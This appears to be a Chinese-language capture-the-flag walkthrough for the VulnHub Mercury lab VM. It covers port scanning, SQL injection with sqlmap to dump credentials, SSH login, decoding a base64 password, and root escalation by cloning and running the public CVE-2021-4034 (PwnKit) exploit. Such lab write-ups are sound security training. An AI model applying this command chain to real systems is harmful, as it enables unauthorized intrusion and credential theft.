vulnhub之Mercury的實踐
今天實踐的是vulnhub的Mercury鏡像,
下載地址,https://download.vulnhub.com/theplanets/Mercury.ova,
先是用workstation導入,做地址掃描沒掃到地址,
于是又用virtualbox導入,重新做地址掃描,
sudo netdiscover -r 192.168.1.0/24,這回有地址了,105就是,

再繼續做端口掃描,sudo nmap -sS -sV -T5 -A -p- 192.168.1.105,

有web服務,做目錄暴破,dirb http://192.168.1.105:8080,

瀏覽器訪問http://192.168.1.105:8080/robots.txt,

瀏覽器繼續訪問http://192.168.1.105:8080/*,

瀏覽器再繼續訪問http://192.168.1.105:8080/mercuryfacts,

點擊 Load a fact鏈接,http://192.168.1.105:8080/mercuryfacts/1/,

猜測可以SQL注入,上sqlmap,
sqlmap -u http://192.168.1.105:8080/mercuryfacts/ --dbs --batch,

繼續dump數據庫,
sqlmap -u http://192.168.1.105:8080/mercuryfacts/ -D mercury --dump-all --batch,

獲取到用戶名密碼,webmaster/mercuryisthesizeof0.056Earths,
ssh登錄,ssh webmaster@192.168.1.105,
不是root,需要提權,發現另一個用戶名密碼,
linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==,
密碼需要base64解密,得到mercurymeandiameteris4880km,
echo "bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==" | base64 -d,
切用戶,su linuxmaster,
雖然sudo -l發現root權限執行的程序, 但是沒法利用,

尋找其它root權限的程序,find / -perm -u=s -type f 2>/dev/null,

/usr/lib/policykit-1/polkit-agent-helper-1值得關注,
從網上搜polkit,找到了提權的方案,
進入可寫目錄,cd /tmp,下載用于提權的代碼,
git clone https://github.com/berdav/CVE-2021-4034,
編譯,make,執行,./cve-2021-4034,id確認是root,
